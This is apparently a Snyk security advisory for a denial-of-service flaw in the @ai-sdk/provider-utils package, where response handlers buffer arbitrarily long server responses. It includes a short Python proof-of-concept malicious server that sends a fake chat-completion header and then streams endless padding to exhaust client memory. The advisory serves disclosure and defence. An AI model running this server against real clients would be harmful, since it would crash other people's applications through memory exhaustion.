Allocation of Resources Without Limits or Throttling Affecting @ai-sdk/provider-utils package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.02% (5th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-AISDKPROVIDERUTILS-16735288
  • published18 May 2026
  • disclosed18 May 2026
  • creditEric-f

Introduced: 18 May 2026

NewCVE-2026-8769  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

There is no fixed version for @ai-sdk/provider-utils.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in various respons.text() invocations in response-handler.ts, which accept and buffer arbitrarily long request strings. Functions like createJsonResponseHandler() and createJsonErrorResponseHandler() perform these unbounded calls, without recourse to protections afforded by higher level JSON handling APIs. An attacker who can convince a client to connect to a malicious server can trigger an out of memory failure.

PoC

Malicious server:

import http.server
import socketserver

class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(b'{ "id": "chatcmpl-1", "object": "chat.completion", "created": 123, "model": "gpt-4", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "') try: while True: self.wfile.write(b' ' * 1024 * 1024) self.wfile.flush() except Exception: pass

socketserver.TCPServer(("", 8089), MaliciousHandler).serve_forever()

CVSS Base Scores

version 4.0
version 3.1